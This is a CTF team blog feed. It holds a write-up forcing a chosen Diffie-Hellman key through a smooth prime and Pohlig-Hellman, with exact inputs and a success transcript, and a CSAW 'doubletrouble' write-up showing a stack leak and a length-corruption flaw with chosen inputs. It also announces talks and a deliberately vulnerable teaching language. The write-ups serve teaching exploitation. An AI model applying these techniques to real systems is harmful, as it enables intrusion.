</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">if</span> (p_min_1_mod_q == <span style="color:#d0bf69">0</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> <span style="color:#d0bf69">0</span>;
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#960050">…</span>.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  is_prime = <span style="color:#41a1c0">rabin_miller</span>(p);
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">if</span> ((is_prime != <span style="color:#d0bf69">0</span>) &amp;&amp; (is_prime = <span style="color:#41a1c0">rabin_miller</span>(q), is_prime != <span style="color:#d0bf69">0</span>)) {
</span></span></code></pre></div><p>If all three conditions are satisfied we will be given g^b with b a random value 0x40 bytes long.</p>
<p>We will be prompted for g^a and then the server will compute the shared key as g^ab</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#6c7986">// function key_exchange@0x00412064
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>    <span style="color:#41a1c0">BCryptGenRandom</span>((BCRYPT_ALG_HANDLE)<span style="color:#d0bf69">0x0</span>,nonce,<span style="color:#d0bf69">0x40</span>,<span style="color:#d0bf69">2</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#960050">…</span>..
</span></span><span style="display:flex;"><span>    <span style="color:#41a1c0">__gmpz_set_str</span>(b,nonce_hex,<span style="color:#d0bf69">0x10</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#41a1c0">__gmpz_powm</span>(g_to_b,g,b,p);
</span></span><span style="display:flex;"><span>    <span style="color:#41a1c0">__gmp_sprintf</span>(local_8c4,&amp;DAT_00418b38,g_to_b);
</span></span><span style="display:flex;"><span>    <span style="color:#41a1c0">thunk_FUN_004124e0</span>(<span style="color:#fc6a5d">&#34;g^b : %s</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>,<span style="color:#d0bf69">0x3c</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#41a1c0">thunk_FUN_004124e0</span>(<span style="color:#fc6a5d">&#34;input g^a (in hexadecimal, length &lt;= 1000) :</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>,g_to_a);
</span></span></code></pre></div><h3 id="solution">Solution</h3>
<p>So we need to find a way to choose g^a so that g^ab mod p = 0x0102030405060708091011121314151617181920212223242526272829303132</p>
<p>The key insight to solve the challenge is that g^a = b-th root of 0x0102030405060708091011121314151617181920212223242526272829303132 mod p</p>
<p>Now the n-th root of a number modulo m is very easy to compute if it exists, after all, it is how RSA decryption works.</p>
<p>You need to find a number d so that d*n = 1 mod phi(m), then you can just exponentiate a number to the d-th power to get its n-th root</p>
<p>The only thing left to do is to recover b since it is unknown.</p>
<p>The key idea is that we know g^b mod p so b is just the discrete logarithm of this value in base g</p>
<p>Now the discrete logarithm is actually a very difficult problem to solve in general, but in our case, we can make use of three facts:</p>
<ol>
<li>p can be very large (1000 hex digits)</li>
<li>b can be small compared to p</li>
<li>p - 1 can have many divisors</li>
</ol>
<p>So mainly thanks to point 2 and 3 we can use <em>pohlig hellman</em> algorithm to solve the discrete logarithm.</p>
<p>To do so we repeatedly</p>
<ol>
<li>generate q as a 0x200 bits prime, then we generate several (in my final exploit ~100) small primes</li>
<li>check that p = 2 * q * primes + 1 is prime
Now that we have the correct p and q we can store them to use in the exploit</li>
</ol>
<p>During the CTF I used</p>
<pre tabindex="0"><code>P = 0xa9df7c921bd2b3ba34017a30cc7aa17d22a57fb5f5076797e6485529ba0ae8913c1a4eb533e81c0618ec8ad07406bed05ce7ead5562105804047ec68fa2b50ba27914f07401ed0b4f33069d7ff00acf32605931750f2dd358fc59a6a9a8cafcb05b6b37a110f717319eb936f3e7d8b935503499d754f14d3a80114dd04123bdb36bd79a126326819460967d18a7ba987fa4927113afc935d8089696ddbf5e35a2aff1265982b978db0630b1102854abbde6fd2d616bfaf1c3e087ec81fc5e7feb3bad8716fb59085ce7e191ec790c87020fb53dc44085163a612981d8755
Q= 0x15e8976b40fcebcba59bc85604b886744dbccb914611e3b52e0ed4dbb3d38cca9ef62169ce8ce3fed3712eb3245a581a93ae1f61a38d3e41a5549e6c5ce5926829824b22f
</code></pre><p>You can try to factor p to see how nice and small its factors are.</p>
<p>A successful exchange looks like this</p>
<pre tabindex="0"><code>p (in hexadecimal, length &lt;= 1000) : a9df7c921bd2b3ba34017a30cc7aa17d22a57fb5f5076797e6485529ba0ae8913c1a4eb533e81c0618ec8ad07406bed05ce7ead5562105804047ec68fa2b50ba27914f07401ed0b4f33069d7ff00acf32605931750f2dd358fc59a6a9a8cafcb05b6b37a110f717319eb936f3e7d8b935503499d754f14d3a80114dd04123bdb36bd79a126326819460967d18a7ba987fa4927113afc935d8089696ddbf5e35a2aff1265982b978db0630b1102854abbde6fd2d616bfaf1c3e087ec81fc5e7feb3bad8716fb59085ce7e191ec790c87020fb53dc44085163a612981d8755
q (in hexadecimal, length &lt;= 1000) : 15e8976b40fcebcba59bc85604b886744dbccb914611e3b52e0ed4dbb3d38cca9ef62169ce8ce3fed3712eb3245a581a93ae1f61a38d3e41a5549e6c5ce5926829824b22f
g (in hexadecimal, 0x2 &lt;= g &lt;= 0x40 ) : 11
g^b : 27fb8125b71e4830d06fde55c811077529e410b58dfe884ec6bf23c5b61c9c4bde762ce996ba05162a033810ef67e4922fc18b09ece4e75d3413a12de9f8d3c7f377605f7441500119a149bc0477d816208b3f9d422f6eea68c37475b0e2826e89794139cb3553f5c910366dcd16a6f673e5e2f7f787f9dec05517f62935ce7a5fd52f9b486a9116820c85b36554b695c36fd138d413fe775398ae890af70895b2fad922d75f76becd728af00ffd7ca6cded4e0e2325a578b9ccc89113ec9a904442b1c26ea93794ed810a145c46225c2b74affed832b6d847be5e664524
input g^a (in hexadecimal, length &lt;= 1000) :
67d8fe777cde8cd0895428c60af3b194d9b958260cd4d5983bc127c4355b22482d2fa1346dde1eb2e1494832797f504d2c00aeabc559c63e60372987df8ce1e885835a0592cac48cf6667b4390f6be9fcf15410e1649212dd3d0cfa8862cf3213d3ee090fd7738ab107d24d4c61c0d7e2a63e266d767f5efc4765ef747ff4cf4f29eee28a77e06f7fd7643ffa62c42b7837f2a0ad8a4487ecdbe40e54e4ec48f4f5852211aa7dd5994a58574c72eca43d2003e6354df5a48eec2ec88467334ec4b68f6199174460ac49790c882aecc68497a5f617326b58e6ebfc4f8f197
DH key exchange succeeded!
Key : 0102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f20
</code></pre><h3 id="difficulties">Difficulties</h3>
<p>Reverse engineering cryptographic algorithm can be painful</p>
<p>Debugging on windows if you are not used to is very painful</p>
<p>Following the organizers&rsquo; hint could prevent you to solve the challenge</p>
<p>At some point before I began to work on the challenge, the organizers posted a hint:
&ldquo;Pseudo prime&rdquo;</p>
<p>In my opinion, this hint is very misleading since one can waste a lot of time trying to make the Rabin Miller prime test fail, but it is not needed to solve the challenge.</p>
]]></content></item><item><title>BOH Challenges</title><link>https://theromanxpl0.it/posts/2019/04/boh-challenges/</link><pubDate>Sun, 07 Apr 2019 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2019/04/boh-challenges/</guid><description>&lt;p>boh-lang is an intentionally vulnerable language.&lt;/p>
&lt;p>Source &lt;a href="https://github.com/andreafioraldi/boh-lang">here&lt;/a>.&lt;/p>
&lt;p>I (malweisse) developed this shitty language to teach our new members about the art of
exploitation and now I&amp;rsquo;m going to release it with the same porpuse but for the
entire community this time.&lt;/p>
&lt;p>Join the mini individual CTF &lt;a href="https://boh-chals.herokuapp.com/">here&lt;/a> to test your pwning ability.&lt;/p>
&lt;p>This language has a compiler and a VM written in C++ (in less than 8k lines).
There are different challenges with different vulnerabilities, the hardest is the one related to the compiler optimizations (Trust my compiler).&lt;/p></description><content type="html"><![CDATA[<p>boh-lang is an intentionally vulnerable language.</p>
<p>Source <a href="https://github.com/andreafioraldi/boh-lang">here</a>.</p>
<p>I (malweisse) developed this shitty language to teach our new members about the art of
exploitation and now I&rsquo;m going to release it with the same porpuse but for the
entire community this time.</p>
<p>Join the mini individual CTF <a href="https://boh-chals.herokuapp.com/">here</a> to test your pwning ability.</p>
<p>This language has a compiler and a VM written in C++ (in less than 8k lines).
There are different challenges with different vulnerabilities, the hardest is the one related to the compiler optimizations (Trust my compiler).</p>
<p>There are two reasons behind this: teaching compiler theory (In our university a serious course is missing DOH!) and exploitation in a practical way.</p>
<p>Have fun and learn as much as possible!</p>
]]></content></item><item><title>Fuzzing like the Legendary Super Saiyan</title><link>https://theromanxpl0.it/posts/2019/03/fuzzing-like-the-legendary-super-saiyan/</link><pubDate>Fri, 29 Mar 2019 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2019/03/fuzzing-like-the-legendary-super-saiyan/</guid><description>&lt;p>Many people asked me to do this talk. So now i did it and of you missed it shame on you!&lt;/p>
&lt;p>I&amp;rsquo;m joking, you can read here an introduction to fuzzers showing strengths and weakness of this approach in automatic bug detection.
In particular the talk is focus into the usage and the internals of one of the most popular fuzzers of this time: American Fuzzy Lop.
You will read not only how to use it but also some useful strategies that can be applied to specified classes of programs to improve the performance of AFL.&lt;/p></description><content type="html"><![CDATA[<p>Many people asked me to do this talk. So now i did it and of you missed it shame on you!</p>
<p>I&rsquo;m joking, you can read here an introduction to fuzzers showing strengths and weakness of this approach in automatic bug detection.
In particular the talk is focus into the usage and the internals of one of the most popular fuzzers of this time: American Fuzzy Lop.
You will read not only how to use it but also some useful strategies that can be applied to specified classes of programs to improve the performance of AFL.</p>
<style>
    .responsive-wrap iframe { max-width: 100%;}
</style>
<div class="responsive-wrap">
    <iframe src="https://docs.google.com/presentation/d/1CgsqmWMJhGdCHQfZVhA5hRD-240rcz_7nU5DZhXDL00/embed?start=false&loop=false&delayms=3000" frameborder="0" width="960" height="569" allowfullscreen="true" mozallowfullscreen="true" webkitallowfullscreen="true"></iframe>
</div>
]]></content></item><item><title>Transient Execution Attacks explained to your Grandma</title><link>https://theromanxpl0.it/posts/2019/02/transient-execution-attacks-explained-to-your-grandma/</link><pubDate>Fri, 22 Feb 2019 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2019/02/transient-execution-attacks-explained-to-your-grandma/</guid><description>&lt;p>What? Reading kernel memory from user space? What?&lt;/p>
&lt;p>I explained, at the 5th meeting of DC11396, how modern processor optimizations such as branch prediction and out-of-order execution may lead to leak of secrets through the CPU’s microarchitectural state.
Numerous attacks have been proposed, this is an overview of the state of the art of these techniques:&lt;/p>
&lt;style>
.responsive-wrap iframe { max-width: 100%;}
&lt;/style>
&lt;div class="responsive-wrap">
&lt;iframe src="https://docs.google.com/presentation/d/1DylZk40ixblYL1y1xq4rmz1qu_wn1TpRAeiBo3D9DbQ/embed?start=false&amp;loop=false&amp;delayms=3000" frameborder="0" width="960" height="569" allowfullscreen="true" mozallowfullscreen="true" webkitallowfullscreen="true">&lt;/iframe>
&lt;/div></description><content type="html"><![CDATA[<p>What? Reading kernel memory from user space? What?</p>
<p>I explained, at the 5th meeting of DC11396, how modern processor optimizations such as branch prediction and out-of-order execution may lead to leak of secrets through the CPU’s microarchitectural state.
Numerous attacks have been proposed, this is an overview of the state of the art of these techniques:</p>
<style>
    .responsive-wrap iframe { max-width: 100%;}
</style>
<div class="responsive-wrap">
    <iframe src="https://docs.google.com/presentation/d/1DylZk40ixblYL1y1xq4rmz1qu_wn1TpRAeiBo3D9DbQ/embed?start=false&loop=false&delayms=3000" frameborder="0" width="960" height="569" allowfullscreen="true" mozallowfullscreen="true" webkitallowfullscreen="true"></iframe>
</div>
]]></content></item><item><title>Flare-On5 #12, a trip into bootkits and esoteric ISAs</title><link>https://theromanxpl0.it/posts/2018/11/flare-on5-%2312-a-trip-into-bootkits-and-esoteric-isas/</link><pubDate>Fri, 16 Nov 2018 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2018/11/flare-on5-%2312-a-trip-into-bootkits-and-esoteric-isas/</guid><description>&lt;p>In the third meeting of DC11396 I presented my solution to the last problem of &lt;a href="http://flare-on.com/">Flare-On&lt;/a> 2018, the annual individual reverse engineering CTF.&lt;/p>
&lt;p>This challenge seems &amp;ldquo;easy&amp;rdquo;, it is &amp;ldquo;only&amp;rdquo; a normal bootkit. Well no, this one has two layers of virtual machine obfuscation with esoteric ISAs! Spooky!&lt;/p>
&lt;p>Here are my presentation slides:&lt;/p>
&lt;style>
.responsive-wrap iframe { max-width: 100%;}
&lt;/style>
&lt;div class="responsive-wrap">
&lt;iframe src="https://docs.google.com/presentation/d/1Ycd0r-7ftUTRAWanOAYun6nkEaZIU1SUI1dIBxZ-EVg/embed?start=false&amp;loop=false&amp;delayms=3000" frameborder="0" width="960" height="569" allowfullscreen="true" mozallowfullscreen="true" webkitallowfullscreen="true">&lt;/iframe>
&lt;/div></description><content type="html"><![CDATA[<p>In the third meeting of DC11396 I presented my solution to the last problem of <a href="http://flare-on.com/">Flare-On</a> 2018, the annual individual reverse engineering CTF.</p>
<p>This challenge seems &ldquo;easy&rdquo;, it is &ldquo;only&rdquo; a normal bootkit. Well no, this one has two layers of virtual machine obfuscation with esoteric ISAs! Spooky!</p>
<p>Here are my presentation slides:</p>
<style>
    .responsive-wrap iframe { max-width: 100%;}
</style>
<div class="responsive-wrap">
    <iframe src="https://docs.google.com/presentation/d/1Ycd0r-7ftUTRAWanOAYun6nkEaZIU1SUI1dIBxZ-EVg/embed?start=false&loop=false&delayms=3000" frameborder="0" width="960" height="569" allowfullscreen="true" mozallowfullscreen="true" webkitallowfullscreen="true"></iframe>
</div>
]]></content></item><item><title>CSAW Quals 18 - doubletrouble</title><link>https://theromanxpl0.it/posts/2018/09/csaw-quals-18-doubletrouble/</link><pubDate>Mon, 17 Sep 2018 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2018/09/csaw-quals-18-doubletrouble/</guid><description>&lt;p>The core function is the following:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c" data-lang="c">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">int&lt;/span> &lt;span style="color:#41a1c0">game&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">int&lt;/span> v0;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">long&lt;/span> &lt;span style="color:#fc5fa3">double&lt;/span> sum;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">long&lt;/span> &lt;span style="color:#fc5fa3">double&lt;/span> max;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">long&lt;/span> &lt;span style="color:#fc5fa3">double&lt;/span> min;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">int&lt;/span> v4;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">int&lt;/span> how_long;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">int&lt;/span> idx;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">char&lt;/span> *s;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">double&lt;/span> array[&lt;span style="color:#d0bf69">64&lt;/span>];
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">unsigned&lt;/span> &lt;span style="color:#fc5fa3">int&lt;/span> v10;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> canary = &lt;span style="color:#41a1c0">__readgsdword&lt;/span>(&lt;span style="color:#d0bf69">0x14u&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">printf&lt;/span>(&lt;span style="color:#fc6a5d">&amp;#34;%p&lt;/span>&lt;span style="color:#fc6a5d">\n&lt;/span>&lt;span style="color:#fc6a5d">&amp;#34;&lt;/span>, array); &lt;span style="color:#6c7986">// Stack address leak
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6c7986">&lt;/span> &lt;span style="color:#41a1c0">printf&lt;/span>(&lt;span style="color:#fc6a5d">&amp;#34;How long: &amp;#34;&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">__isoc99_scanf&lt;/span>(&lt;span style="color:#fc6a5d">&amp;#34;%d&amp;#34;&lt;/span>, &amp;amp;how_long);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">getchar&lt;/span>();
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">if&lt;/span> ( how_long &amp;gt; &lt;span style="color:#d0bf69">64&lt;/span> )
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">printf&lt;/span>(&lt;span style="color:#fc6a5d">&amp;#34;Flag: hahahano. But system is at %d&amp;#34;&lt;/span>, &amp;amp;system);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">exit&lt;/span>(&lt;span style="color:#d0bf69">1&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> idx = &lt;span style="color:#d0bf69">0&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">while&lt;/span> ( idx &amp;lt; how_long )
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> s = &lt;span style="color:#41a1c0">malloc&lt;/span>(&lt;span style="color:#d0bf69">100u&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">printf&lt;/span>(&lt;span style="color:#fc6a5d">&amp;#34;Give me: &amp;#34;&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">fgets&lt;/span>(s, &lt;span style="color:#d0bf69">100&lt;/span>, stdin);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> v0 = idx++;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> array[v0] = &lt;span style="color:#41a1c0">atof&lt;/span>(s);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">printArray&lt;/span>(&amp;amp;how_long, array);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> sum = &lt;span style="color:#41a1c0">sumArray&lt;/span>(&amp;amp;how_long, array);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">printf&lt;/span>(&lt;span style="color:#fc6a5d">&amp;#34;Sum: %f&lt;/span>&lt;span style="color:#fc6a5d">\n&lt;/span>&lt;span style="color:#fc6a5d">&amp;#34;&lt;/span>, sum);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> max = &lt;span style="color:#41a1c0">maxArray&lt;/span>(&amp;amp;how_long, array);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">printf&lt;/span>(&lt;span style="color:#fc6a5d">&amp;#34;Max: %f&lt;/span>&lt;span style="color:#fc6a5d">\n&lt;/span>&lt;span style="color:#fc6a5d">&amp;#34;&lt;/span>, max);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> min = &lt;span style="color:#41a1c0">minArray&lt;/span>(&amp;amp;how_long, array);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">printf&lt;/span>(&lt;span style="color:#fc6a5d">&amp;#34;Min: %f&lt;/span>&lt;span style="color:#fc6a5d">\n&lt;/span>&lt;span style="color:#fc6a5d">&amp;#34;&lt;/span>, min);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> v4 = &lt;span style="color:#41a1c0">findArray&lt;/span>(&amp;amp;how_long, array, -&lt;span style="color:#d0bf69">100.0&lt;/span>, -&lt;span style="color:#d0bf69">10.0&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">printf&lt;/span>(&lt;span style="color:#fc6a5d">&amp;#34;My favorite number you entered is: %f&lt;/span>&lt;span style="color:#fc6a5d">\n&lt;/span>&lt;span style="color:#fc6a5d">&amp;#34;&lt;/span>, array[v4]);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">sortArray&lt;/span>(&amp;amp;how_long, array);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">puts&lt;/span>(&lt;span style="color:#fc6a5d">&amp;#34;Sorted Array:&amp;#34;&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">return&lt;/span> &lt;span style="color:#41a1c0">printArray&lt;/span>(&amp;amp;how_long, array);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The programs store the readed doubles in an array on the stack.
The array is 532 bytes from the return address, so 64 entries are not enough for a buffer overflow.&lt;/p></description><content type="html"><![CDATA[<p>The core function is the following:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#fc5fa3">int</span> <span style="color:#41a1c0">game</span>()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">int</span> v0;
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">long</span> <span style="color:#fc5fa3">double</span> sum;
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">long</span> <span style="color:#fc5fa3">double</span> max;
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">long</span> <span style="color:#fc5fa3">double</span> min;
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">int</span> v4;
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">int</span> how_long;
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">int</span> idx;
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">char</span> *s;
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">double</span> array[<span style="color:#d0bf69">64</span>];
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">unsigned</span> <span style="color:#fc5fa3">int</span> v10;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  canary = <span style="color:#41a1c0">__readgsdword</span>(<span style="color:#d0bf69">0x14u</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">printf</span>(<span style="color:#fc6a5d">&#34;%p</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>, array);  <span style="color:#6c7986">// Stack address leak
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#41a1c0">printf</span>(<span style="color:#fc6a5d">&#34;How long: &#34;</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">__isoc99_scanf</span>(<span style="color:#fc6a5d">&#34;%d&#34;</span>, &amp;how_long);
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">getchar</span>();
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">if</span> ( how_long &gt; <span style="color:#d0bf69">64</span> )
</span></span><span style="display:flex;"><span>  {
</span></span><span style="display:flex;"><span>    <span style="color:#41a1c0">printf</span>(<span style="color:#fc6a5d">&#34;Flag: hahahano. But system is at %d&#34;</span>, &amp;system);
</span></span><span style="display:flex;"><span>    <span style="color:#41a1c0">exit</span>(<span style="color:#d0bf69">1</span>);
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  idx = <span style="color:#d0bf69">0</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">while</span> ( idx &lt; how_long )
</span></span><span style="display:flex;"><span>  {
</span></span><span style="display:flex;"><span>    s = <span style="color:#41a1c0">malloc</span>(<span style="color:#d0bf69">100u</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#41a1c0">printf</span>(<span style="color:#fc6a5d">&#34;Give me: &#34;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#41a1c0">fgets</span>(s, <span style="color:#d0bf69">100</span>, stdin);
</span></span><span style="display:flex;"><span>    v0 = idx++;
</span></span><span style="display:flex;"><span>    array[v0] = <span style="color:#41a1c0">atof</span>(s);
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">printArray</span>(&amp;how_long, array);
</span></span><span style="display:flex;"><span>  sum = <span style="color:#41a1c0">sumArray</span>(&amp;how_long, array);
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">printf</span>(<span style="color:#fc6a5d">&#34;Sum: %f</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>, sum);
</span></span><span style="display:flex;"><span>  max = <span style="color:#41a1c0">maxArray</span>(&amp;how_long, array);
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">printf</span>(<span style="color:#fc6a5d">&#34;Max: %f</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>, max);
</span></span><span style="display:flex;"><span>  min = <span style="color:#41a1c0">minArray</span>(&amp;how_long, array);
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">printf</span>(<span style="color:#fc6a5d">&#34;Min: %f</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>, min);
</span></span><span style="display:flex;"><span>  v4 = <span style="color:#41a1c0">findArray</span>(&amp;how_long, array, -<span style="color:#d0bf69">100.0</span>, -<span style="color:#d0bf69">10.0</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">printf</span>(<span style="color:#fc6a5d">&#34;My favorite number you entered is: %f</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>, array[v4]);
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">sortArray</span>(&amp;how_long, array);
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">puts</span>(<span style="color:#fc6a5d">&#34;Sorted Array:&#34;</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">return</span> <span style="color:#41a1c0">printArray</span>(&amp;how_long, array);
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>The programs store the readed doubles in an array on the stack.
The array is 532 bytes from the return address, so 64 entries are not enough for a buffer overflow.</p>
<p>The findArray function is interesting, a correct manipulation of the input can change the how_long variable.</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#fc5fa3">int</span> <span style="color:#41a1c0">findArray</span>(<span style="color:#fc5fa3">int</span> *len, <span style="color:#fc5fa3">double</span> *arr, <span style="color:#fc5fa3">double</span> a, <span style="color:#fc5fa3">double</span> b)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">int</span> saved_len;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  saved_len = *len;
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">while</span> ( *len &lt; <span style="color:#d0bf69">2</span> * saved_len )
</span></span><span style="display:flex;"><span>  {
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> ( arr[*len - saved_len] &gt; a &amp;&amp; b &gt; arr[*len - saved_len] )
</span></span><span style="display:flex;"><span>      <span style="color:#fc5fa3">return</span> *len - saved_len; <span style="color:#6c7986">// Here *len is not restored to saved_len
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>    *len += &amp;GLOBAL_OFFSET_TABLE_ - <span style="color:#d0bf69">134529023</span>; <span style="color:#6c7986">//*len += 1
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  }
</span></span><span style="display:flex;"><span>  *len = saved_len; <span style="color:#6c7986">// We want to avoid this piece of code
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#fc5fa3">return</span> <span style="color:#d0bf69">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Giving a number greater than -10 <code>*len</code> is increased and with a number greater than -100 and lower than -10 we can avoid the restring of <code>*len</code> with <code>saved_len</code>.</p>
<p>We choose -1.1 and -20.1.</p>
